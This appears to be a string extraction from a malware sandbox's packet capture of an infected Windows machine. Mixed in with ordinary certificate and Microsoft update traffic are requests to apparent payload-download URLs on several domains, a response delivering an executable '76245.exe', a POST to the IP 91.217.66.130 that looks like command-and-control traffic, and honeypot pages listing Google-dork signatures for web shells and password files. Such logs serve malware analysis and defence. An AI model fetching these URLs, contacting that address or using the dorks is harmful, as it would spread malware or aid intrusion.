Ansi based on PCAP Processing (network.pcap)
131024214310Z0
Ansi based on PCAP Processing (network.pcap)
131024214319Z0
Ansi based on PCAP Processing (network.pcap)
131219195909Z0
Ansi based on PCAP Processing (network.pcap)
140122185220Z0
Ansi based on PCAP Processing (network.pcap)
140129172435Z0
Ansi based on PCAP Processing (network.pcap)
140129172453Z0
Ansi based on PCAP Processing (network.pcap)
140212185542Z0
Ansi based on PCAP Processing (network.pcap)
140219171545Z0
Ansi based on PCAP Processing (network.pcap)
140219171632Z0
Ansi based on PCAP Processing (network.pcap)
140409155638Z0
Ansi based on PCAP Processing (network.pcap)
140709171930Z0
Ansi based on PCAP Processing (network.pcap)
140716191203Z0
Ansi based on PCAP Processing (network.pcap)
141119193302Z0
Ansi based on PCAP Processing (network.pcap)
150603184605Z0
Ansi based on PCAP Processing (network.pcap)
150603185020Z0
Ansi based on PCAP Processing (network.pcap)
150603185058Z0
Ansi based on PCAP Processing (network.pcap)
150603185131Z0
Ansi based on PCAP Processing (network.pcap)
150701184507Z0
Ansi based on PCAP Processing (network.pcap)
151105070000Z0
Ansi based on PCAP Processing (network.pcap)
160126173123Z0
Ansi based on PCAP Processing (network.pcap)
160418140000Z0
Ansi based on PCAP Processing (network.pcap)
160418140000Z0#
Ansi based on PCAP Processing (network.pcap)
160511085525Z0
Ansi based on PCAP Processing (network.pcap)
160608215334Z0
Ansi based on PCAP Processing (network.pcap)
160608215334Z0!
Ansi based on PCAP Processing (network.pcap)
160927200504Z0
Ansi based on PCAP Processing (network.pcap)
160927200504Z0!
Ansi based on PCAP Processing (network.pcap)
161104211026Z0
Ansi based on PCAP Processing (network.pcap)
1612022130
Ansi based on PCAP Processing (network.pcap)
161202213035Z0
Ansi based on PCAP Processing (network.pcap)
161213000000Z
Ansi based on PCAP Processing (network.pcap)
161214171929Z0
Ansi based on PCAP Processing (network.pcap)
170103190202Z0
Ansi based on PCAP Processing (network.pcap)
170117212826Z0
Ansi based on PCAP Processing (network.pcap)
170228203337Z0#
Ansi based on PCAP Processing (network.pcap)
170320220934Z0
Ansi based on PCAP Processing (network.pcap)
170331155349Z0!
Ansi based on PCAP Processing (network.pcap)
170331155349Z0#
Ansi based on PCAP Processing (network.pcap)
170425161336Z0
Ansi based on PCAP Processing (network.pcap)
170501211655Z0
Ansi based on PCAP Processing (network.pcap)
170509201635Z0
Ansi based on PCAP Processing (network.pcap)
170718221900Z0
Ansi based on PCAP Processing (network.pcap)
170801212242Z0#
Ansi based on PCAP Processing (network.pcap)
170926220423Z0
Ansi based on PCAP Processing (network.pcap)
171107173558Z0
Ansi based on PCAP Processing (network.pcap)
171206173829Z0
Ansi based on PCAP Processing (network.pcap)
180116212006Z0
Ansi based on PCAP Processing (network.pcap)
180204000000Z
Ansi based on PCAP Processing (network.pcap)
180228003901Z
Ansi based on PCAP Processing (network.pcap)
180505235959Z0A1?0=
Ansi based on PCAP Processing (network.pcap)
180526003901Z0
Ansi based on PCAP Processing (network.pcap)
2 2$2(2,2024282<2@2D2T2X2\2`2d2h2l2p2t2x2|2
Ansi based on PCAP Processing (network.pcap)
20180225215705Z
Ansi based on PCAP Processing (network.pcap)
20180225215705Z0s0q0I0
Ansi based on PCAP Processing (network.pcap)
20180226020739Z
Ansi based on PCAP Processing (network.pcap)
20180226020739Z0s0q0I0
Ansi based on PCAP Processing (network.pcap)
20180228000000Z
Ansi based on PCAP Processing (network.pcap)
20180228000000Z0s0q0I0
Ansi based on PCAP Processing (network.pcap)
20180228064714Z
Ansi based on PCAP Processing (network.pcap)
20180228064714Z0s0q0I0
Ansi based on PCAP Processing (network.pcap)
20180304215705Z0
Ansi based on PCAP Processing (network.pcap)
20180305020739Z0
Ansi based on PCAP Processing (network.pcap)
20180307000000Z0
Ansi based on PCAP Processing (network.pcap)
20180307060214Z0
Ansi based on PCAP Processing (network.pcap)
211231235959Z0
Ansi based on PCAP Processing (network.pcap)
3 3$3(3,3034383<3@3P3T3X3\3`3d3h3l3p3t3x3|3
Ansi based on PCAP Processing (network.pcap)
31101204601Z0
Ansi based on PCAP Processing (network.pcap)
4 4$4(4,4044484<4L4P4T4X4\4`4d4h4l4p4t4x4|4
Ansi based on PCAP Processing (network.pcap)
5 5$5(5,5054585H5L5P5T5X5\5`5d5h5l5p5t5x5|5
Ansi based on PCAP Processing (network.pcap)
6 6$6(6,60646D6H6L6P6T6X6\6`6d6h6l6p6t6x6|6
Ansi based on PCAP Processing (network.pcap)
6Symantec Class 3 SHA256 Code Signing CA OCSP Responder0
Ansi based on PCAP Processing (network.pcap)
7 7$7(7,707@7D7H7L7P7T7X7\7`7d7h7l7p7t7x7|7
Ansi based on PCAP Processing (network.pcap)
8 8$8(8,8<8@8D8H8L8P8T8X8\8`8d8h8l8p8t8x8|8
Ansi based on PCAP Processing (network.pcap)
8.*j+NtQc
Ansi based on PCAP Processing (network.pcap)
9 9$9(989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9
Ansi based on PCAP Processing (network.pcap)
: :$:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:
Ansi based on PCAP Processing (network.pcap)
; ;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;
Ansi based on PCAP Processing (network.pcap)
<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<
Ansi based on PCAP Processing (network.pcap)
</a><br><a href='index.php?option=com_acajoom'>This contact form is about /components/com_acajoom/ </a><br><a href='index.php?option=com_content'>This contact form is about /components/com_content/ </a><br><a href='index.php?option=com_phocagallery'>This contact form is about /components/com_phocagallery/ </a><br><a href='index.php?option=com_mailto'>This contact form is about /components/com_mailto/ </a><br><a href='index.php?option=com_qcontacts'>This contact form is about /components/com_qcontacts/ </a><br><a href='index.php?option=com_jevents'>This contact form is about /components/com_jevents/ </a><br><a href='index.php?option=com_contact'>This contact form is about /components/com_contact/ </a><br><a href='index.php?option=com_search'>This contact form is about /components/com_search/ </a><br><a href='index.php?option=com_virtuemart'>This contact form is about /components/com_virtuemart/ </a><br><a href='index.php?option=com_google'>This contact form is about /components/com_google/ </a><br><a href='index.php?option=com_oziogallery2'>This contact form is about /components/com_oziogallery2/ </a><br><a href='index.php?option=fckeditor/editor/filemanager/connectors/uploadtest.html'>This contact form is about /components/fckeditor/editor/filemanager/connectors/uploadtest.html/ </a><br><a href='index.php?option=FCKeditor - Uploaders Tests'>This contact form is about /components/FCKeditor - Uploaders Tests/ </a><br><a href
Ansi based on PCAP Processing (network.pcap)
</h1> <span>This is an automatic process. Your browser will redirect to your requested content in <span id="seconds">5</span> seconds.</span> </div> <form id="challenge-form" action="/verify.php" method="post"> <input type="hidden" name="hash" value="9f00b0780796155a84d3fa11f20360561189560d"/> <input type="hidden" name="origin_url" value="http://amor.official.pw/f3sqVF/"/> </form> </div> <div class="link"> <a href="https://bitninja.io" target="_blank" style="font-size: 12px;">Security check by BitNinja.IO</a> </div> </td> </tr> </table> </body> <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><a href='index.php?option=com_dshop'>This contact form is about /components/com_dshop/ </a><br><a href='index.php?option=com_jobprofile'>This contact form is about /components/com_jobprofile/ </a><br><a href='index.php?option=com_fckeditor'>This contact form is about /components/com_fckeditor/
Ansi based on PCAP Processing (network.pcap)
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> Copyright (c) Microsoft Corporation --><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity type="win32" name="Microsoft.Windows.spfileq" version="5.1.0.0" processorArchitecture="x86"/> <description>spfileq</description> Identify the application security requirements. --> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo></assembly>
Ansi based on PCAP Processing (network.pcap)
<VeriSign Class 3 Public Primary Certification Authority - G50
Ansi based on PCAP Processing (network.pcap)
='index.php?option=phpmyadmin'>This contact form is about /components/phpmyadmin/ </a><br><a href='index.php?option=phpmyadmin2'>This contact form is about /components/phpmyadmin2/ </a><br><a href="demo/GHH%20-%20Haxplorer/1.php?param=honey">GHDB Signature #833 (filetype:php HAXPLORER &quot;Server Files Browser&quot;)</a><br><br><a href="demo/GHH%20-%20PHP%20Ping/php-ping.php?param=honey">GHDB Signature #733 (&quot;Enter ip&quot; inurl:&quot;php-ping.php&quot;)</a><br><br><a href="demo/GHH%20-%20PHP%20Shell/phpshell.php?param=honey">GHDB Signature #365 (intitle:&quot;PHP Shell *&quot; &quot;Enable stderr&quot; filetype:php)</a><br><br><a href="demo/GHH%20-%20PHPBB%20Install/phpBB2/install/install.php?param=honey">GHDB Signature #935 (inurl:&quot;install/install.php&quot;)</a><br><br><a href="demo/GHH%20-%20PHPFM/index.php?param=honey">GHDB Signature #361 (&quot;Powered by PHPFM&quot; filetype:php -username)</a><br><br><a href="demo/GHH%20-%20PhpSysInfo/index.php?param=honey">GHDB Signature #161 (inurl:phpSysInfo/ &quot;created by phpsysinfo&quot;)</a><br><br><a href="demo/GHH%20-%20SquirrelMail/src/login.php?param=honey">GHDB Signature #1013 (&quot;SquirrelMail version 1.4.4&quot; inurl:src ext:php)</a> <br><br><a href="/demo/?GHH v1.1 - WebUtil 2.7">GHDB Signature #1013 (&quot;SquirrelMail version 1.4.4&quot; inurl:src ext:php)</a> <br><br><a href="/demo/?GHH v1.1 - .mdb/admin.mdb">GHDB Signature #162 (allinurl: admin m
Ansi based on PCAP Processing (network.pcap)
=yw>{EfqV
Ansi based on PCAP Processing (network.pcap)
@1h1n1t1z1
Ansi based on PCAP Processing (network.pcap)
authroot.stl
Ansi based on PCAP Processing (network.pcap)
Baltimore CyberTrust Root
Ansi based on PCAP Processing (network.pcap)
Baltimore1
Ansi based on PCAP Processing (network.pcap)
ChildWindowFromPoint
Ansi based on PCAP Processing (network.pcap)
comedgesuite
Ansi based on PCAP Processing (network.pcap)
ctldlwindowsupdate
Ansi based on PCAP Processing (network.pcap)
CyberTrust1"0
Ansi based on PCAP Processing (network.pcap)
D+P,g<K|i
Ansi based on PCAP Processing (network.pcap)
db)</a> <br><br><a href="/demo/?GHH v1.1 - .sql/create.sql">GHDB Signature #1064 (filetype:sql ("passwd values" | "password values" | "pass values" ))</a> <br><br><a href="/demo/?GHH v1.1 - AIM BuddyList/BuddyList.blt">GHDB Signature #937 (filetype:blt "buddylist")</a> <br><br><a href="/demo/?GHH v1.1 - File Upload Manager/">GHDB Signature #734 ("File Upload Manager v1.3" "rename to")</a> <br><br><a href="/demo/?GHH v1.1 - passlist.txt/passlist.txt">GHDB Signature #58 (inurl:passlist.txt)</a> <br><br><a href="/demo/?GHH v1.1 - passwd.txt/passwd.txt">GHDB Signature #1122 (wwwboard WebAdmin inurl:passwd.txt</a> <br><br><a href="/demo/?GHH v1.1 - WebUtil 2.7/webutil.pl">GHDB Signature #769 (inurl:webutil.pl)</a> <br><br>--> <a href="mailto:csapda@web-server.hu"></a><a href="mailto:csapda@astrohost.com"></a>--></html>
Ansi based on PCAP Processing (network.pcap)
DragFinish
Ansi based on PCAP Processing (network.pcap)
DragQueryFileW
Ansi based on PCAP Processing (network.pcap)
DrawTextExW
Ansi based on PCAP Processing (network.pcap)
dscb1akamaiedge
Ansi based on PCAP Processing (network.pcap)
dspbakamaiedge
Ansi based on PCAP Processing (network.pcap)
dspgakamaiedge
Ansi based on PCAP Processing (network.pcap)
e(0);}40% {-webkit-transform: scale(1);transform: scale(1);}} @keyframes sk-circleBounceDelay {0%, 80%, 100% {-webkit-transform: scale(0);transform: scale(0);}40% {-webkit-transform: scale(1);transform: scale(1);}} </style> <script type="text/javascript"> //<![CDATA[ function startCountdown() { setInterval(function () { var $secondsElement = document.getElementById('seconds'); var seconds = parseInt($secondsElement.innerHTML); if (seconds > 0) { seconds--; $secondsElement.innerHTML = seconds; } }, 1000); } function browserIntegrityCheck() { w = window.innerWidth; h = window.innerHeight; arr = [w, h, Math.floor((Math.random() * 9) + 1)]; arr.push(arr[0] * arr[1] * arr[2]); d = new Date().getTime(); arr = []; b = navigator.appName; div1 = document.createElement('div'); div1.style.display = 'none'; div2 = document.createElement('div'); div2.style.display = 'none'; div3 = document.createElement('div'); div3.style.display = 'none'; c = document.getElementById('content'); c
Ansi based on PCAP Processing (network.pcap)
g"@5S9S1D
Ansi based on PCAP Processing (network.pcap)
GET /CRL/Omniroot2025.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: cdp1.public-trust.com
Ansi based on PCAP Processing (network.pcap)
GET /esimB50/ HTTP/1.1Host: www.erzotech.euConnection: Keep-Alive
Ansi based on PCAP Processing (network.pcap)
GET /f3sqVF/ HTTP/1.1Host: amor.official.pwConnection: Keep-Alive
Ansi based on PCAP Processing (network.pcap)
GET /M8uZOL/ HTTP/1.1Host: t-p-e.netConnection: Keep-Alive
Ansi based on PCAP Processing (network.pcap)
GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx%2BJOp7hVgTeaGFJ%2FCQgQUljtT8Hkzl699g%2B8uK8zKt4YecmYCEBuN56dlW1Lzehhu%2FtdSD3U%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: sv.symcd.com
Ansi based on PCAP Processing (network.pcap)
GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD%2BOyl%2B0LhPg9JxyQm4gQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMCED141%2Fl2SWCyYX308B7Khio%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: s2.symcb.com
Ansi based on PCAP Processing (network.pcap)
GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSLIycRsoI3J6zPns4K1aQgAqaqHgQUZ50PIAkMzIo65YJGcmL88cyQ5UACEAG2Yem3HYLmNssdMr3TCFk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com
Ansi based on PCAP Processing (network.pcap)
GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAt%2BEJA8OEkP%2Bi9nmoehp7k%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com
Ansi based on PCAP Processing (network.pcap)
GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?a2e92fdaed906d8e HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ctldl.windowsupdate.com
Ansi based on PCAP Processing (network.pcap)
GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?cc1043c359113e4e HTTP/1.1Connection: Keep-AliveAccept: */*If-Modified-Since: Thu, 20 Apr 2017 16:02:20 GMTIf-None-Match: "04e707defb9d21:0"User-Agent: Microsoft-CryptoAPI/6.1Host: ctldl.windowsupdate.com
Ansi based on PCAP Processing (network.pcap)
GET /pkiops/crl/Microsoft%20Update%20Signing%20CA%202.1.crl HTTP/1.1Cache-Control: max-age = 382151Connection: Keep-AliveAccept: */*If-Modified-Since: Sun, 03 Dec 2017 06:01:52 GMTIf-None-Match: "94d6fe36fc6bd31:0"User-Agent: Microsoft-CryptoAPI/6.1Host: www.microsoft.com
Ansi based on PCAP Processing (network.pcap)
GET /pkiops/crl/Microsoft%20Update%20Signing%20CA%202.3.crl HTTP/1.1Cache-Control: max-age = 236762Connection: Keep-AliveAccept: */*If-Modified-Since: Sun, 03 Dec 2017 06:02:04 GMTIf-None-Match: "d180463efc6bd31:0"User-Agent: Microsoft-CryptoAPI/6.1Host: www.microsoft.com
Ansi based on PCAP Processing (network.pcap)
GET /Yr13ok/ HTTP/1.1Host: www.utilitybillingsoftwares.comConnection: Keep-Alive
Ansi based on PCAP Processing (network.pcap)
GetActiveWindow
Ansi based on PCAP Processing (network.pcap)
GetClipboardViewer
Ansi based on PCAP Processing (network.pcap)
GetCurrentConsoleFontEx
Ansi based on PCAP Processing (network.pcap)
GetCursor
Ansi based on PCAP Processing (network.pcap)
GetDlgCtrlID
Ansi based on PCAP Processing (network.pcap)
GetOpenClipboardWindow
Ansi based on PCAP Processing (network.pcap)
globalredir
Ansi based on PCAP Processing (network.pcap)
gomicrosoft
Ansi based on PCAP Processing (network.pcap)
HAPUBWS-PC
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKAccept-Ranges: bytesCache-Control: max-age=172800Content-Type: application/ocsp-responseDate: Wed, 28 Feb 2018 10:16:54 GMTEtag: "5a962945-1d7"Expires: Fri, 02 Mar 2018 10:16:54 GMTLast-Modified: Wed, 28 Feb 2018 04:00:05 GMTServer: ECS (lhr/D23C)X-Cache: HITContent-Length: 4710
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKAccept-Ranges: bytesCache-Control: max-age=172800Content-Type: application/ocsp-responseDate: Wed, 28 Feb 2018 10:16:54 GMTEtag: "5a965a7d-1d7"Expires: Fri, 02 Mar 2018 10:16:54 GMTLast-Modified: Wed, 28 Feb 2018 07:30:05 GMTServer: ECS (lhr/47F7)X-Cache: HITContent-Length: 4710
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKAccept-Ranges: bytesContent-Type: application/x-pkcs7-crlDate: Wed, 28 Feb 2018 10:16:53 GMTEtag: "200da-107d-5663ad7fd7a15"Last-Modified: Wed, 28 Feb 2018 00:30:01 GMTServer: ECS (lhr/477E)X-Cache: HITContent-Length: 42210
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKCache-Control: max-age=604800Content-Type: application/vnd.ms-cab-compressedLast-Modified: Mon, 22 Jan 2018 19:35:55 GMTAccept-Ranges: bytesETag: "80df3238b893d31:0"Server: Microsoft-IIS/8.5X-Powered-By: ASP.NETContent-Length: 54018Date: Wed, 28 Feb 2018 10:16:47 GMTConnection: keep-aliveMSCF
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKCache-Control: privateContent-Type: text/xml; charset=utf-16LEServer: Microsoft-IIS/8.5X-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETDate: Wed, 28 Feb 2018 10:16:20 GMTContent-Length: 1730
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKCache-Control: privateContent-Type: text/xml; charset=utf-16LEServer: Microsoft-IIS/8.5X-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETDate: Wed, 28 Feb 2018 10:16:22 GMTContent-Length: 1730
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKCache-Control: privateContent-Type: text/xml; charset=utf-16LEServer: Microsoft-IIS/8.5X-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETDate: Wed, 28 Feb 2018 10:16:23 GMTContent-Length: 1730
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKDate: Wed, 28 Feb 2018 10:16:57 GMTServer: ApacheX-Powered-By: PHP/5.3.29Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheContent-Disposition: attachment; filename="76245.exe"Content-Transfer-Encoding: binaryConnection: keep-alive, Keep-AliveKeep-Alive: timeout=5, max=200Transfer-Encoding: chunkedContent-Type: application/octet-stream4000MZ
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKServer: nginx/1.12.2Content-Type: application/ocsp-responseContent-Length: 1610content-transfer-encoding: binaryCache-Control: max-age=387612, public, no-transform, must-revalidateLast-Modified: Sun, 25 Feb 2018 21:57:05 GMTExpires: Sun, 4 Mar 2018 21:57:05 GMTDate: Wed, 28 Feb 2018 10:16:53 GMTConnection: keep-alive0
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKServer: nginx/1.12.2Content-Type: application/ocsp-responseContent-Length: 1754content-transfer-encoding: binaryCache-Control: max-age=402675, public, no-transform, must-revalidateLast-Modified: Mon, 26 Feb 2018 02:07:39 GMTExpires: Mon, 5 Mar 2018 02:07:39 GMTDate: Wed, 28 Feb 2018 10:16:52 GMTConnection: keep-alive0
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKServer: nginxDate: Wed, 28 Feb 2018 10:09:31 GMTContent-Type: text/html; charset=UTF-8Content-Length: 132Connection: keep-alivea
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 302 Moved TemporarilyServer: AkamaiGHostContent-Length: 0Location: http://dmd.metaservices.microsoft.com/dms/metadata.svcDate: Wed, 28 Feb 2018 10:16:18 GMTConnection: closer
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 302 Moved TemporarilyServer: AkamaiGHostContent-Length: 0Location: http://dmd.metaservices.microsoft.com/dms/metadata.svcDate: Wed, 28 Feb 2018 10:16:21 GMTConnection: closet
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 302 Moved TemporarilyServer: AkamaiGHostContent-Length: 0Location: http://dmd.metaservices.microsoft.com/dms/metadata.svcDate: Wed, 28 Feb 2018 10:16:21 GMTConnection: closeu
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 304 Not ModifiedContent-Type: application/pkix-crlLast-Modified: Sun, 03 Dec 2017 06:01:52 GMTETag: "94d6fe36fc6bd31:0"Cache-Control: max-age=341944Date: Wed, 28 Feb 2018 10:17:23 GMTConnection: keep-aliveX-RTag: ARRPrd
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 304 Not ModifiedContent-Type: application/pkix-crlLast-Modified: Sun, 03 Dec 2017 06:02:04 GMTETag: "d180463efc6bd31:0"Cache-Control: max-age=351416Date: Wed, 28 Feb 2018 10:17:23 GMTConnection: keep-aliveX-RTag: ARRPrd
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 304 Not ModifiedContent-Type: application/vnd.ms-cab-compressedLast-Modified: Thu, 20 Apr 2017 16:02:20 GMTETag: "04e707defb9d21:0"Cache-Control: max-age=86400Date: Wed, 28 Feb 2018 10:16:47 GMTConnection: keep-alive
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 403 ForbiddenConnection: closeCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Server: Apache/2.2.16 (Debian)Content-Length: 13805<!DOCTYPE HTML><html lang="en-US"> <head> <meta charset="UTF-8" /> <meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta name="robots" content="noindex, nofollow" /><meta name="keywords" content="joomla, Joomla, joomla 1.5, wordpress 2.5, Drupal" /><meta name="description" content="Joomla!" /><meta name="generator" content="Joomla! 1.5 - Open Source Content Management" /><meta name="generator" content="WordPress 2.5" /> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <title>Waiting for the redirectiron...</title> <style type="text/css"> body {background-color: #ffffff; font-family: "Helvetica Neue", Helvetica,Arial,sans-serif;} html, body {width: 100%; height: 100%; margin: 0; padding: 0;} span {color: #878787; font-size: 12pt; text-align: center;} h1 {color: #878787; font-size: 18pt; text-align: center;} .link {margin-top: 40px;} .sk-circle {margin: 80px auto;width: 100px;height: 100px;position: relative;} .sk-circle .sk-child {width: 100%;height: 100%;position: absolute;left: 0;
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 823Connection: keep-aliveKeep-Alive: timeout=15Date: Wed, 28 Feb 2018 10:16:57 GMTServer: Apache<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>Error 404 - Not found</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="cache-control" content="no-cache" /> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;">Error 404 - Not found</h1><p style="font-size:0.8em;">Le fichier requis n'a pas &#233;t&#233; trouv&#233;.Il peut s'agir d'une erreur technique. Veuillez r&#233;essayer ult&#233;rieurement. Si vous ne pouvez pas acc&#233;der au fichier apr&#232;s plusieurs tentatives, cela signifie qu'il a &#233;t&#233; supprim&#233;.</p> </body> </html>
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Feb 2018 10:16:56 GMTContent-Type: text/htmlContent-Length: 1037Connection: keep-aliveLast-Modified: Sat, 16 Aug 2014 07:30:51 GMTETag: "1a1d7a-40d-500ba1e03f19c"Accept-Ranges: bytes<HTML><HEAD><TITLE>404 Not Found</TITLE><BASE href="/error_docs/"> [if lte IE 6]></BASE><![endif]--></HEAD><BODY><H1>Not Found</H1>The requested document was not found on this server.<P><HR><ADDRESS>Web Server at utilitybillingsoftwares.com</ADDRESS></BODY></HTML> - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->
Ansi based on PCAP Processing (network.pcap)
http://www.symauth.com/cps0(
Ansi based on PCAP Processing (network.pcap)
http://www.symauth.com/cps0*
Ansi based on PCAP Processing (network.pcap)
http://www.symauth.com/rpa0
Ansi based on PCAP Processing (network.pcap)
KERNEL32.dll
Ansi based on PCAP Processing (network.pcap)
l79|[T`X&e|
Ansi based on PCAP Processing (network.pcap)
L`8F !84P
Ansi based on PCAP Processing (network.pcap)
L``2 !84P
Ansi based on PCAP Processing (network.pcap)
L`i5 !84P
Ansi based on PCAP Processing (network.pcap)
L`i6 !85P
Ansi based on PCAP Processing (network.pcap)
L`Ib !84P
Ansi based on PCAP Processing (network.pcap)
L`Z~ !84P
Ansi based on PCAP Processing (network.pcap)
metaservicesmicrosoft
Ansi based on PCAP Processing (network.pcap)
P !84L`i6P
Ansi based on PCAP Processing (network.pcap)
POST / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 91.217.66.130:443Content-Length: 388Connection: Keep-AliveCache-Control: no-cache"
Ansi based on PCAP Processing (network.pcap)
POST /dms/metadata.svc HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 1194Host: dmd.metaservices.microsoft.comu
Ansi based on PCAP Processing (network.pcap)
POST /dms/metadata.svc HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 1276Host: dmd.metaservices.microsoft.comt
Ansi based on PCAP Processing (network.pcap)
POST /dms/metadata.svc HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 1814Host: dmd.metaservices.microsoft.comu
Ansi based on PCAP Processing (network.pcap)
POST /dms/metadata.svc HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 2392Host: dmd.metaservices.microsoft.comr
Ansi based on PCAP Processing (network.pcap)
POST /fwlink/?LinkID=109572&clcid=0x409 HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 1194Host: go.microsoft.comu
Ansi based on PCAP Processing (network.pcap)
POST /fwlink/?LinkID=109572&clcid=0x409 HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 1276Host: go.microsoft.comt
Ansi based on PCAP Processing (network.pcap)
POST /fwlink/?LinkID=109572&clcid=0x409 HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 1814Host: go.microsoft.comu
Ansi based on PCAP Processing (network.pcap)
